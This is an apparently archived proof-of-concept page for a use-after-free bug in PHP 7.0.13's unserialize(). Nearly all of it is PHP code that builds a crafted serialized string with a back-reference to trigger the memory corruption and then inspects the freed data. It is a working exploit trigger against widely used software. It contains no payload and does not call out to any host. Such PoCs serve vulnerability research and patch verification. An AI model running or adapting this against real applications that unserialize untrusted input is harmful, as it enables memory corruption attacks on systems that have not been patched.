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PHP 7.0.13 Use After Free unserialize PoC

Posted on 30 November -0001

<HTML><HEAD><TITLE>PHP 7.0.13 Use After Free unserialize() PoC</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>PoC:

<?php

class obj1 implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
    }
}

class obj2 {
    var $ryat;
    function __wakeup() {
        $this->ryat = null;
    }
}

$inner = 's:4:"ryat";';
$exploit = 'a:2:{i:0;C:4:"obj1":'.strlen($inner).':{'.$inner.'}i:1;O:4:"obj2":1:{s:4:"ryat";R:3;}}';
$data = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}
var_dump($data);

?>
</BODY></HTML>

 

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